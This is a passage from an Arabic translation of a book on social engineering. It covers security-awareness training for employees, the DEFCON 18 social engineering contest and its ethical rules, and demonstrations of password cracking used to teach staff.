‫ﺑﺗﻌﻠﯾﻣﮭم ﻛﯾف ﯾﺷﻌر اﻟﺑﺎب ﺑﺎﻟﺣرارة وأن ﯾظﻠوا ﻣﻧﺧﻔﺿﯾن ﻟﺗﺟﻧب اﺳﺗﻧﺷﺎق اﻟدﺧﺎن‪ .‬ﻛل ﻣن ھذه اﻟطرق ھﻲ طرق ﻟﻣﻧﻊ أو اﻹﻋداد ﻹطﻼق‬
‫اﻟﻧﺎر ﻗﺑل أن ﯾﻛون ﻟدﯾك ﻧﺎر ﺣﻘﯾﻘﻲ وﺗﺿطر إﻟﻰ اﻟﺗﻌﺎﻣل ﻣﻊ اﻟﺗدﻣﯾر اﻟذي ﯾﺟﻠﺑﮫ‪.‬‬
‫ﯾﻧطﺑﻖ اﻟﻣﺑدأ ذاﺗﮫ ﻋﻠﻰ ﺣﻣﺎﯾﺔ ﻧﻔﺳك وﺷرﻛﺗك ﻣن ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﻻ ﺗﻧﺗظر اﻟﮭﺟوم أن ﯾﺣدث ﻟﻣﻌرﻓﺔ ﻛﯾف ﯾﻣﻛن أن ﺗﻛون‬
‫ﻣدﻣرة‪ .‬ﻻ أﻋﺗﻘد أﻧﮫ ﻟﺧدﻣﺔ ﻣﺻﺎﻟﺣك اﻟذاﺗﯾﺔ‪ ،‬وﻟﻛﻧن ﻟﺗﻌزﯾز ﻋﻣﻠﯾﺎت ﺗدﻗﯾﻖ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺑﺎﻧﺗظﺎم ﻻﺧﺗﺑﺎر ﻗدرة ﻣوظﻔﯾك ﻋﻠﻰ اﻟﺻﻣود‬
‫أﻣﺎم ھذه اﻟﮭﺟﻣﺎت‪ ،‬وﻣﺗﺎﺑﻌﺔ اﻟﺗدرﯾب‪.‬‬
‫ﺗﻌﻠﯾم ﻧﻔﺳك وﻣوظﻔﯾك ﻛﯾﻔﯾﺔ "وﻗف‪ ،‬وھﺑوط‪ ،‬وﻟف‪ "،‬إذا ﺟﺎز اﻟﺗﻌﺑﯾر‪ ،‬ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﮭذه اﻷﻧواع ﻣن اﻟﮭﺟﻣﺎت‪ .‬ﻣﺎ ھﻲ آﺧر اﻷﺧﺑﺎر ﺣول‬
‫ﻛﯾﻔﯾﺔ ﻗﯾﺎم اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن ﻣن ﻣﮭﺎﺟﻣﺔ اﻟﺷرﻛﺎت؟ ﻣﻌرﻓﺔ ھذا ﯾﻣﻛن أن ﯾﻛون ﺧط اﻟدﻓﺎع اﻷول‪ ،‬وھو ﻧﻔس ﻣﻌرﻓﺔ ﻣﺎ ﯾﻣﻛن ان ﯾﻘوم ﺑﮫ‬
‫اﻟﺣرﯾﻖ ﺑﻣﻧزﻟك‪ .‬ﺗﻌﻠم اﻟطرق ﻣﺧﺗﻠﻔﺔ اﻟﺣدﯾﺛﺔ اﻟﺗﻲ ﯾﻘوم ﺑﮭﺎ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ واﺳﺗﺧدام ھوﯾﺔ اﻟﻠﺻوص‪ .‬ﯾﻣﻛﻧك اﻟﻌﺛور ﻋﻠﻰ أرﺷﯾف‬
‫ﻟﻸﺧﺑﺎر ﻋن ﻗﺻص وأﻣﺛﻠﺔ ﻋن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬وﺧداع اﻟرﺟﺎل‪ ،‬ھوﯾﺔ اﻟﻠﺻوص‪ ،‬وﻣﺎ ﺷﺎﺑﮫ ذﻟك ﻣن ﺧﻼل اﻟراﺑط اﻟﺗﺎﻟﻲ‪:‬‬
‫‪http://www.social-engineer.org/category/newsletter/‬‬
‫ﺧطوة ﺟﯾدة آﺧري ھو ﻗرأ ھذا اﻟﻛﺗﺎب‪ .‬ﻓﮭو ﻛﺎﻣل ﻟﺟﻣﯾﻊ اﻷﺳﺎﻟﯾب واﻟﻣﺑﺎدئ اﻟﺗﻲ ﯾﺳﺗﺧدﻣﮭﺎ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﻠﺗﻼﻋب ﺑﺄھداﻓﮫ‪ .‬ھذا اﻟﻛﺗﺎب‬
‫ھو أﻛﺛر ﻣن ﻣﺟرد ﻣﺟﻣوﻋﺔ ﻣن اﻟﻘﺻص اﻟراﺋﻌﺔ واﻟﺧﺎرﻗﺔ‪ .‬واﻟﺗﻲ ﺗﻘدم ﺗﺣﻠﯾﻼ ﻟﻠﺗﻔﻛﯾر واﻟﺗﻛﺗﯾﻛﺎت اﻟﻣﺳﺗﺧدﻣﺔ ﻣن ﻗﺑل اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‬
‫اﻟﺧﺑﯾث‪.‬‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪992‬‬

‫ﻛﻣﺎ ﯾﻣﻛن اﻟﺗﺣﻘﻖ ﻣن أﺷرطﺔ اﻟﻔﯾدﯾو ﻋﻠﻰ ﻣوﻗﻊ ‪ ،http://www.social-engineer.org‬ﻓﻲ ‪ ،Resources area‬واﻟﺗﻲ ﺗﺛﺑت ﻣﺂﺛر ﻓﻲ‬
‫اﻟﻌﻣل‪ .‬ﻻ ﯾﺣﺗﺎج اﻟﻣﺳﺗﺧدم اﻟﻌﺎدي ﻟﻣﺷﺎھدﺗﮫ ﺑﻘﺻد ﻓﮭم ﻛﯾﻔﯾﺔ ﺗﻧﻔﯾذ ھذه اﻟﮭﺟﻣﺎت ﺑﻧﻔﺳﮫ‪ ،‬وﻟﻛن ﻟﻔﮭم ﻛﯾف ﯾﻧﻔذ ھﺟوم ‪.SE‬‬
‫ﻓﻲ اﻷﺳﺎس‪ ،‬ﻛﻠﻣﺎ زادت ﻣﻌرﻓﺗك ﻋن ﻛﯾﻔﯾﺔ ﺣدوث ھذه اﻟﮭﺟﻣﺎت‪ ،‬ﻓﺎﻧﮫ ﻣن اﻟﺳﮭل اﻟﺗﻌرف ﻋﻠﯾﮭﺎ ﻓﻲ "اﻟﺑرﯾﺔ"‪ .‬إدراك ﻟﻐﺔ اﻟﺟﺳد واﻟﺗﻌﺎﺑﯾر‪،‬‬
‫واﻟﻌﺑﺎرات اﻟﻣﺳﺗﺧدﻣﺔ ﻓﻲ ﻣﺣﺎوﻟﺔ ‪ SE‬ﺳﯾﺟﻌل أذﻧﯾك ﻣﻧﺗﺑﮫ ﻋﻧد ﺳﻣﺎع أو رؤﯾﺔ ﺷﺧص ﯾﺳﺗﺧدم ھذه اﻷﺳﺎﻟﯾب‪.‬‬
‫أﻧت ﻻ ﺗﺣﺗﺎج اﻟﻰ إﻧﻔﺎق طن ﻣن اﻟوﻗت ﻟﻠﺗﻌﻠم طرق اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ‪.‬وﻣﻊ ذﻟك‪ ،‬اﻟﻣﺿﻲ ﺑﺿﻊ دﻗﺎﺋﻖ ﺑﯾن اﻟﺣﯾن واﻵﺧر ﻓﻲ ﻗراءة اﻷﺧﺑﺎر‬
‫وﻗراءة اﻟﻘﺻص ﻋﻠﻰ‪ http://www.social-engineer.org‬أو ﻣواﻗﻊ أﺧرى ﯾﻣﻛن أن ﺗﺳﺎﻋدك ﻋﻠﻰ ﻣﻌرﻓﺔ اﻷﺳﺎﻟﯾب اﻟﻣﺳﺗﺧدﻣﺔ اﻵن ﺿد‬
‫اﻟﺷرﻛﺎت‪ .‬ﺑﻌد أن ﯾﻛون ﻟدﯾك أﺳﺎﺳﺎ ﺟﯾدا ﻟﻠﻣﻌرﻓﺔ واﻟﺗدﻗﯾﻖ ﺗﺣت اﻟﺣزام اﻟﺧﺎص ﺑك‪ ،‬ﻓﺈن اﻟﺧطوة اﻟﺗﺎﻟﯾﺔ‪ ،‬ھو ﺧﻠﻖ ﺛﻘﺎﻓﺔ اﻟﺗﻔﻛﯾر اﻷﻣﻧﻲ‪ ،‬واﻟﺗﻲ‬
‫ﺳوف ﺗﺑدو ﺑﺳﯾطﺔ ﻟﺗطوﯾرھﺎ‪.‬‬

‫إﻧﺷﺎء ﺑرﻧﺎﻣﺞ اﻟوﻋﻲ اﻷﻣﻧﻲ اﻟﺷﺧﺻﻲ )‪(Creating a Personal Security Awareness Culture‬‬

‫ﻓﻲ ﯾوﻟﯾو ﻋﺎم ‪ 2010‬ﻛﺎن ﻛرﯾﺳﺗوﻓر ھﺎﻧﺟرى ﺟزءا ﻣن ﻓرﯾﻖ ﺻﻐﯾر ﻣن ﻣﺗﺧﺻﺻﻲ ﻣﺟﺎل اﻷﻣن اﻟﺗﻲ ﻋﻘدت اﻟﻣﻧظﻣﺔ اﻷوﻟﻰ وﻋﻠﻰ اﻟﻣﺳﺗوى‬
‫اﻟﻣﮭﻧﻲ ﻟﻣﺳﺎﺑﻘﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﻲ دﯾﻔﻛون ‪ .18‬ﺑﻌض ﻣن أﻓﺿل وأﻟﻣﻊ اﻟﻌﻘول ﻣن ﺟﻣﯾﻊ أﻧﺣﺎء اﻟﻌﺎﻟم ﯾﺄﺗون إﻟﻰ ﻻس ﻓﯾﻐﺎس‪ ،‬ﻧﯾﻔﺎدا‪،‬‬
‫ﻣرة ﻓﻲ اﻟﺳﻧﺔ ﻟﻠﺗﻛﻠم‪ ،‬واﻟﺗﻌﻠﯾم‪ ،‬واﻟﺗﻌﻠم‪.‬‬
‫ﻗررت أﻧﺎ وﻓرﯾﻘﻲ أﻧﮫ ﺳﯾﻛون ﻓرﺻﺔ ﻛﺑﯾرة ﻟﻌﻘد ﻣﺳﺎﺑﻘﺔ اﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ ﺗﺳﻠﯾط اﻟﺿوء ﻋﻠﻰ اﻟﺷرﻛﺎت اﻷﻣرﯾﻛﯾﺔ اﻟﺗﻲ ھﻲ ﻋرﺿﺔ ﻟﮭذا اﻟﮭﺟوم‬
‫)ردا ﻋﻠﻰ "اﻟﻣﺳﺎﺑﻘﺔ"(‪ .‬ﻗﻣﻧﺎ ﺑﺗﻧظﯾم ھذه اﻟﻣﺳﺎﺑﻘﺔ ﻣن ﺧﻼل وﺟود اﻟﻣﮭﺗﻣﯾن ﺑﺎﻟﺗﺳﺟﯾل ﻟﻠﻣﺷﺎرﻛﺔ ﻓﻲ ﻣرﺣﻠﺗﯾن ﻣن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ :‬ﺟﻣﻊ‬
‫اﻟﻣﻌﻠوﻣﺎت واﻟﮭﺟﻣﺎت اﻟﻧﺷطﺔ‪.‬‬
‫ﻟﻠﺣﻔﺎظ ﻋﻠﻰ اﻟﻣﺳﺎﺑﻘﺔ ﻗﺎﻧوﻧﯾﺔ وأﺧﻼﻗﯾﺔ وأﻧﻧﺎ ﻻ ﻧرﯾد أي ﺷﺧص ﺿﺣﯾﺔ‪ ،‬ﻟﯾس ھﻧﺎك أرﻗﺎم ﺿﻣﺎن اﺟﺗﻣﺎﻋﻲ وﺑطﺎﻗﺎت اﻻﺋﺗﻣﺎن‪ ،‬وأي ﻣن‬
‫ﻣﻌﻠوﻣﺎت ﺗﺣدﯾد اﻟﺷﺧﺻﯾﺔ ﻻ ﯾﺗم ﺟﻣﻌﮭﺎ‪ .‬ﻛﺎن ھدﻓﻧﺎ ﻋدم اﻟﺣﺻول ﻋﻠﻰ أي ﻣن ھؤﻻء اﻟﻧﺎس ﻣطرودﯾن‪ .‬وﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك ﻛﺎن ھدﻓﻧﺎ ﻋدم‬
‫إﺣراج أي ﺷرﻛﺔ ﺑﻌﯾﻧﮭﺎ‪ ،‬ﻟذﻟك ﻗررﻧﺎ أﯾﺿﺎ ﻋدم وﺟود أي ﻣن ﻛﻠﻣﺎت اﻟﻣرور أو اﻟﻣﻌﻠوﻣﺎت اﻟﻣﺗﻌﻠﻘﺔ ﺑﺄﻣن اﻟﺷرﻛﺎت‪ .‬ﺑدﻻ ﻣن ذﻟك ﻗﻣﻧﺎ ﺑﺗطوﯾر‬
‫ﻗﺎﺋﻣﺔ ﻣن ﺣواﻟﻲ ‪ "flags" 30-25‬اﻟﺗﻲ ﺗراوﺣت ﺑﯾن ﻣﺎ إذا ﻛﺎﻧت اﻟﺷرﻛﺔ ﻟدﯾﮭﺎ ﻣﺳﺎﺣﺔ داﺧﻠﯾﮫ‪ ،‬واﻟذي ﯾﺗوﻟﻰ اﻟﺗﺧﻠص ﻣن اﻟﻘﻣﺎﻣﺔ‪ ،‬وإﻟﻰ أي‬
‫ﻣﺗﺻﻔﺢ ﯾﺳﺗﺧدم ذﻟك‪ ،‬وإﻟﻰ أي ﺑرﻧﺎﻣﺞ ﯾﺳﺗﺧدم ﻟﻔﺗﺢ ﻣﻠﻔﺎت‪ . PDF‬أﺧﯾرا‪ ،‬اﺧﺗرﻧﺎ اﻟﺷرﻛﺎت اﻟﻣﺳﺗﮭدﻓﺔ ﻣن ﺟﻣﯾﻊ ﻗطﺎﻋﺎت اﻷﻋﻣﺎل ﻓﻲ‬
‫اﻟﺷرﻛﺎت اﻷﻣرﯾﻛﯾﺔ‪ :‬ﺷرﻛﺎت اﻟﻐﺎز وﺷرﻛﺎت اﻟﺗﻛﻧوﻟوﺟﯾﺎ‪ ،‬ﻣﺻﻧﻌﯾن‪ ،‬اﻟﺗﺟزﺋﺔ‪ ،‬وﺑﯾن ﻛل ﺷﻲء‪.‬‬
‫ﺗم ﺗﻌﯾﯾن ﻛل ﻣﺗﺳﺎﺑﻖ ﻋﻠﻰ ﺷرﻛﺔ ھدف واﺣده ﻓﻲ اﻟﺳر‪ ،‬واﻟذي ﻛﺎن ﻟدﯾﮫ أﺳﺑوﻋﯾن ﻟﻠﻘﯾﺎم ﺑﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت اﻟﺳﻠﺑﯾﺔ‪ .‬وﻟم ﯾﺳﻣﺢ ﻟﻠﻣﺗﺳﺎﺑﻘﯾن أن‬
‫ﯾﺳﺗﮭدف إﻟﻰ اﻻﺗﺻﺎل ﺑﺎﻟﺷرﻛﺔ‪ ،‬وإرﺳﺎﻟﮫ رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪ ،‬أو ﺑﺄي طرﯾﻘﺔ ﯾﺣﺎول اﺳﺗﺧراج اﻟﻣﻌﻠوﻣﺎت ﻋن طرﯾﻖ اﻟﮭﻧدﺳﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﻠﺧروج ﻣﻧﮫ‪ .‬ﺑدﻻ ﻣن ذﻟك ﻛﺎن ﻋﻠﯾﮭم اﺳﺗﺧدام ﺷﺑﻛﺔ اﻹﻧﺗرﻧت‪ ،Maltego ،‬وأدوات أﺧرى ﻟﺟﻣﻊ أﻛﺑر ﻗدر ﻣﻣﻛن ﻣن اﻟﻣﻌﻠوﻣﺎت‬
‫وإدﺧﺎل ﻛل ﻣﺎ وﺟد ﻓﻲ ﺗﻘرﯾر ﻣظﮭري اﺣﺗراﻓﻲ‪.‬‬
‫ﻣن اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺗم ﺟﻣﻌﮭﺎ أردﻧﺎ اﻟﻣﺗﺳﺎﺑﻘون ﺗطوﯾر اﺛﻧﯾن ﻣن ﻧﺎﻗﻼت اﻟﮭﺟوم اﻟﻣﻌﻘوﻟﺔ اﻟﺗﻲ ظﻧوا أﻧﮭﺎ ﺗﻌﻣل ﻓﻲ اﻟﻌﺎﻟم اﻟﺣﻘﯾﻘﻲ‪ .‬ﺛم ﺟﺎء‬
‫اﻟﻣﺗﻧﺎﻓﺳﯾن ﻟﻠﺗوﺻل إﻟﻰ دﯾﻔﻛون ﻓﻲ ﻻس ﻓﯾﻐﺎس‪ ،‬واﻟﺟﻠوس ﻓﻲ ﻛﺷك ﻋﺎزل ﻟﻠﺻوت‪ ،‬وإﺟراء ﻣﻛﺎﻟﻣﺔ ھﺎﺗﻔﯾﺔ ﻟﻣدة ‪ 25‬دﻗﯾﻘﺔ ﻣﻊ ھدﻓﮭم ﻟﺗﻧﻔﯾذ‬
‫ﻧﺎﻗﻼت اﻟﮭﺟوم وﻧرى ﻣﺎ ھﻲ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﯾﻣﻛن اﻟﺣﺻول ﻋﻠﯾﮭﺎ‪.‬‬
‫أﻧﺎ ﻣن اﻟﻣﻣﻛن ان اﻗﺿﻰ اﻟﺻﻔﺣﺎت ‪ 30-20‬اﻟﻘﺎدﻣﺔ ﻷﻗول ﻟك ﻣﺎ ﺣدث ﻓﻲ ﺗﻠك اﻟﻣﺳﺎﺑﻘﺔ وﻣﺎذا ﻛﺎﻧت اﻟﻧﺗﯾﺟﺔ‪ ،‬وﻟﻛن ﺷﯾﺋﺎ واﺣدا وﺟدﻧﺎه‪ :‬ﻛل‬
‫ﻣﺗﺳﺎﺑﻖ ﺣﺻل ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت اﻟﻛﺎﻓﯾﺔ ﻣن اﻷھداف أن اﻟﺷرﻛﺔ ﻗد ﺗﻔﺷل ﻓﻲ اﻟﺗدﻗﯾﻖ اﻷﻣﻧﻲ‪ .‬ﺑﻐض اﻟﻧظر ﻋن ﻣﺳﺗوى ﺧﺑرة اﻟﻣﺗﺳﺎﺑﻖ وذرﯾﻌﺗﮫ‪،‬‬
‫ﻛﺎن اﻟﻣﺗﺳﺎﺑﻘﯾن أﻛﺛر ﻧﺟﺎﺣﺎ ﻓﻲ ﺗﺣﻘﯾﻖ أھداﻓﮭم‪.‬‬
‫اﻵن ﻣﺎ ﯾﻧطﺑﻖ ھﻧﺎ اﻟوﻋﻲ اﻷﻣﻧﻲ‪ .‬اﻟﺷرﻛﺎت اﻟﺗﻲ ﯾﮭﺗﻣون ﺑﺎﻷﻣن ﻟدﯾﮭﺎ ﺑراﻣﺞ ﺣﯾث ﺗدرب ﻣوظﻔﯾﮭﺎ ﻛﯾف ﯾﻛون ﻋﻠﻰ ﺑﯾﻧﺔ ﻣن اﻟﻣﺧﺎطر اﻷﻣﻧﯾﺔ‬
‫اﻟﻣﺣﺗﻣﻠﺔ ﻋن طرﯾﻖ اﻟﮭﺎﺗف أو اﻹﻧﺗرﻧت أو ﺷﺧﺻﯾﺎ‪ .‬ﻣﺎ وﺟدﻧﺎه ھو أن اﻟوﻋﻲ اﻷﻣﻧﻲ ﻓﻲ ﺗﻠك اﻟﺷرﻛﺎت ﻛﺎﻧت ﻓﻲ ﻣرﺣﻠﺔ اﻟﻔﺷل‪ .‬ﻟﻣﺎذا؟ ﻛﯾف‬
‫ﯾﻣﻛن أن ﯾﻛون أن ھذه اﻟﺷرﻛﺎت ‪ 500‬اﻟﺗﻲ ﺗﻧﻔﻖ اﻟﻣﻼﯾﯾن أو أﻛﺛر ﻋﻠﻰ اﻷﻣن‪ ،‬واﻟﺗدرﯾب‪ ،‬واﻟﺗﻌﻠﯾم‪ ،‬واﻟﺧدﻣﺎت اﻟﻣﺻﻣﻣﺔ ﻟﺣﻣﺎﯾﺔ ﻣوظﻔﯾﮭﺎ‬
‫وﯾﻣﻛن أن ﯾﻛون ﻟﮭﺎ ھذا اﻟﻔﺷل ﻓﻲ اﻟوﻋﻲ اﻷﻣﻧﻲ؟‬
‫ھذا ھو وﺟﮭﺔ ﻧظري ﻋن اﻟﻌﻧوان ﻟﮭذا اﻟﻘﺳم )اﻟﺗوﻋﯾﺔ اﻷﻣﻧﻲ ﻟﯾﺳت ﺷﺧﺻﯾﺔ ﻟﻠﻣوظﻔﯾن(‪ .‬ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﻓﻲ ﻣﻣﺎرﺳﺗﻲ اﻟﻣﮭﻧﯾﺔ ﻋﻧدﻣﺎ‬
‫أﺗﺣدث ﻣﻊ اﻟﻣوظﻔﯾن ﻋن ﻣﺷﺎﻋرھم ﺣول اﻟﮭﺟوم ﻓﺄﻧﮭم ﯾﺳﺗﺟﯾﺑون ﺑﺷﻲء ﻣن ھذا اﻟﻘﺑﯾل‪" ،‬ﻟﯾس ﻣن ﺿﻣن اﻟﺑﯾﺎﻧﺎت اﻟﺧﺎﺻﺔ ﺑﻲ‪ .‬وﻣﺎ ﯾﮭﻣﻧﻲ‬
‫"ﯾﺑﯾن ھذا اﻟﻣوﻗف أن اﻟوﻋﻲ اﻷﻣﻧﻲ ﻟدى ھذه اﻟﺷرﻛﺎت ﻟم ﺗﺣﺎول أﺑدا ﻏرس ﺿرﺑﺎت اﻟﻣﻧزل‪.‬‬
‫ﻓﻲ ﻣراﺟﻌﺔ اﻟﻛﺛﯾر ﻣن اﻟﻣواد واﻟطرق اﻟﻣﺗﺎﺣﺔ ﻟﻣﺎ ﯾﺳﻣﻰ ﺑﺎﻟوﻋﻲ اﻷﻣﻧﻲ‪ ،‬ﻣﺎ وﺟدﺗﮫ ﻛﺎن ﻣﻣل‪ ،‬ﺳﺧﯾف‪ ،‬وﻟﯾس ﻣوﺟﮭﺔ ﻟﺟﻌل اﻟﻣﺷﺎرﻛﯾن‬
‫ﯾﺗﻔﺎﻋﻠوا أو ﯾﻔﻛروا‪ .‬ﻋروض ‪ DVD‬ﻗﺻﯾرة واﻟﺗﻲ ﺗﻐطﻲ ﻧﺻف طن ﻣن اﻷﺷﯾﺎء ﻓﻲ ﻧﮭﺞ اﻟﺑﻧدﻗﯾﺔ اﻟﺗﻲ ﺗﻔﺟر اﻟﻣﺷﺎرﻛﺎت ﻣﻊ اﻟﻛﺛﯾر ﻣن اﻟﺣﻘﺎﺋﻖ‬
‫ﺻﻐﯾرة ﻟم ﯾﺗم ﺗﺻﻣﯾﻣﮭﺎ ﻟﻛﻲ ﺗﻐرق ﻓﯾﮭﺎ ﻋﻣﯾﻖ ﺟدا‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪993‬‬

‫ﻣﺎ أطﺎﻟﺑﻛم اﻟﻘﯾﺎم ﺑﮫ ﻛﺷرﻛﺔ أو ﺣﺗﻰ ﻛﻔرد ھو ﺧﻠﻖ اﻟﺑرﻧﺎﻣﺞ اﻟذي ﺗﺷﺎرﻛﮫ‪ ،‬ﺗﺗﻔﺎﻋل ﻣﻌﮫ‪ ،‬واﻟﻐوص ﻓﻲ ﻋﻣﻖ اﻟوﻋﻲ اﻷﻣﻧﻲ‪ .‬ﺑدﻻ ﻣن ﻣﺟرد‬
‫اﻟﻘول ﻟﻣوظﻔﯾك ﻛﻠﻣﺎ ﺗﻣﻠك ﻛﻠﻣﺎت ﺳر طوﯾﻠﺔ وﻣﻌﻘدة ھو ﻓﻛرة ﺟﯾد‪ ،‬وﺗﺑﯾن ﻟﮭم ﻛﯾف ﺑﺳرﻋﺔ واﺣدة ﯾﻣﻛن أن اﻟﻛراك ﯾﻣﻛﻧﮫ ﺣل ﻛﻠﻣﺔ اﻟﻣرور‬
‫ﺑﺳﮭوﻟﺔ‪ .‬ﻋﻧدﻣﺎ طﻠب ﻣﻧﻲ اﻟﻣﺳﺎﻋدة ﻓﻲ أداء ﺗدرﯾب اﻟوﻋﻲ اﻷﻣﻧﻲ ﻟﻌﻣﯾل‪ ،‬ﻓﺄﻧﻰ أﺣﯾﺎﻧﺎ أطﻠب ﻣن اﻟﻣوظف أن ﯾﺄﺗﻲ إﻟﻰ ﺟﮭﺎز اﻟﻛﻣﺑﯾوﺗر اﻟﺧﺎص‬
‫ﺑﻲ وﯾﻛﺗب ﻛﻠﻣﺔ اﻟﻣرور اﻟﺗﻲ ﯾرى أﻧﮭﺎ آﻣﻧﺔ‪ .‬أﻓﻌل ھذا ﻗﺑل اﻹﻓراج ﻋن أي ﻣن اﻟﻣﻌﻠوﻣﺎت ﺣول ﻛﻠﻣﺎت اﻟﻣرور‪ .‬ﺑﻌد ذﻟك أﺑدأ ﻣداﺧﻠﺗﻲ ﻓﻲ ھذا‬
‫اﻟﻘﺳم أﺑدأ ﻣﻊ ﺗﻛﺳﯾر ﻛﻠﻣﺔ اﻟﺳر‪ .‬ﻋﺎدة ﻓﻲ ﻏﺿون دﻗﯾﻘﺔ أو اﺛﻧﺗﯾن أﻗوم ﺑﻛﺳر ﻛﻠﻣﺔ اﻟﺳر وأﻛﺗﺷف ﻛﻠﻣﺔ اﻟﻣرور اﻟﺗﻲ ﺗم ﻛﺗﺎﺑﺗﮭﺎ ﺳرا ﻓﻲ ﺟﮭﺎز‬
‫اﻟﻛﻣﺑﯾوﺗر اﻟﺧﺎص ﺑﻲ‪ .‬اﻟﺗﺄﺛﯾر اﻟﻔوري واﻟﺟذري ﻟﮭﺎ ﻋﻠﻰ ﻛل ﺷﺧص ﻟﮫ ﺗﺄﺛﯾر ﻣدﻗﻊ‪ .‬وﻟﻛن ﺑﻌد اﻟﻌدﯾد ﻣن اﻟﻌروض ﻓﺄن اﻟﻣوظﻔﯾن ﺳوف ﺗﻌﻠﯾﻖ‬
‫ﻋﻠﻰ ﻛﯾﻔﯾﺔ ﻓﮭم ﻣدى ﺧطورة وﺟود ﻛﻠﻣﺔ ﻣرور ﺟﯾدة اﻻن‪.‬‬
‫ﻋﻧدﻣﺎ أﻧﺎﻗش اﻟﻣوﺿوع ﻣن اﻟﻣرﻓﻘﺎت اﻟﺧﺑﯾﺛﺔ ﻓﻲ اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪ ،‬وأﻧﺎ ﻟم ﯾﻛن ﻟدﯾك إظﮭﺎر ﻛﯾﻔﯾﺔ ﺻﯾﺎﻏﺔ ‪ PDF‬اﻟﺧﺑﯾﺛﺔ ﻟﻠﻣوظﻔﯾن ﻟﻛن ﺗﺑﯾن‬
‫ﻟﮭم ﻣﺎ ﯾﺑدو اﻟﺿﺣﯾﺔ وأﺟﮭزة ﻛﻣﺑﯾوﺗر اﻟﻣﮭﺎﺟم ﻋﻧد ﯾﻔﺗﺢ ‪ PDF‬ﺧﺑﯾث‪ .‬ھذا ﯾﺳﺎﻋدھم ﻋﻠﻰ ﻓﮭم أن ﺣﺎدث ﺑﺳﯾط ﯾﻣﻛن أن ﯾؤدي إﻟﻰ اﻟدﻣﺎر‪.‬‬
‫ﺑﺎﻟطﺑﻊ‪ ،‬أﺳﻠوب اﻟﺗدرﯾس ھذا ﯾﻧﺗﺞ اﻟﻛﺛﯾر ﻣن اﻟﺧوف‪ ،‬وﻋﻠﻰ اﻟرﻏم ﻣن أﻧﮫ ﻟﯾس ھذا ھو اﻟﮭدف‪ ،‬ﻓﺈﻧﮫ ﻟﯾس اﻟﺟﺎﻧب اﻟرھﯾب ﻟﻠﻣﻧﺗﺞ‪ ،‬ﻷن‬
‫اﻟﻣوظﻔﯾن ﺳوف ﯾﺗذﻛرون ھذا ﺑﺷﻛل أﻓﺿل‪ .‬ﻟﻛن اﻟﮭدف ھو ﺟﻌﻠﮭم ﯾﻔﻛرون ﻟﯾس ﻓﻘط ﺣول ﻣﺎ ﯾﻔﻌﻠوﻧﮫ ﻟﯾس ﻓﻘط اﻟﻌﻣل ﻣﻊ أﺟﮭزة اﻟﻛﻣﺑﯾوﺗر‬
‫وﻣﻛﺎﺗﺑﮭم‪ ،‬وﻟﻛن أﯾﺿﺎ ﺣﺳﺎﺑﺎﺗﮭم اﻟﺑﻧﻛﯾﺔ اﻟﺧﺎﺻﺔ‪ ،‬وأﺟﮭزة اﻟﻛﻣﺑﯾوﺗر اﻟﻣﻧزﻟﯾﺔ‪ ،‬وﻛﯾف ﯾﻌﺎﻣﻠون اﻷﻣن ﻋﻠﻰ اﻟﻣﺳﺗوى اﻟﺷﺧﺻﻲ‪.‬‬
‫أرﯾد ﻛل ﺷﺧص ﯾﺳﻣﻊ ﻋن ﻋروض اﻻﻣن أو ﯾﻘرأ ھذا اﻟﻛﺗﺎب اﻧﮫ ﯾراﺟﻊ ﻛﯾف ﯾﺗﻔﺎﻋل ﻣﻊ اﻹﻧﺗرﻧت ﻛﻛل‪ ،‬وإﺟراء ﺗﻐﯾﯾرات ﺟﺎدة ﻹﻋﺎدة‬
‫اﺳﺗﺧدام ﻛﻠﻣﺎت اﻟﺳر‪ ،‬ﺗﺧزﯾن ﻛﻠﻣﺎت اﻟﻣرور أو اﻟﻣﻌﻠوﻣﺎت اﻟﺷﺧﺻﯾﺔ ﻓﻲ ﻣواﻗﻊ ﻏﯾر آﻣﻧﺔ‪ ،‬وﺣﯾث اﻟﻣﻛﺎن اﻟذي ﯾﺗﺻل ﻓﯾﮫ ﺑﺎﻹﻧﺗرﻧت‪ .‬ﻻ‬
‫أﺳﺗطﯾﻊ ان اﻗول ﻟﻛم ﻛم ﻣرة رأﯾت ﺷﺧﺻﺎ ﯾﺟﻠس ﻓﻲ وﺳط ﻣرﻛز ﺳﺗﺎرﺑﻛس ﻟﻣﺎ ﻟﮭﺎ ﻣن ﺧدﻣﺔ اﻟواي ﻓﺎي اﻟﻣﺟﺎﻧﯾﺔ وذﻟك ﻟﻠﺗﺣﻘﻖ ﻣن اﻟﺣﺳﺎب‬
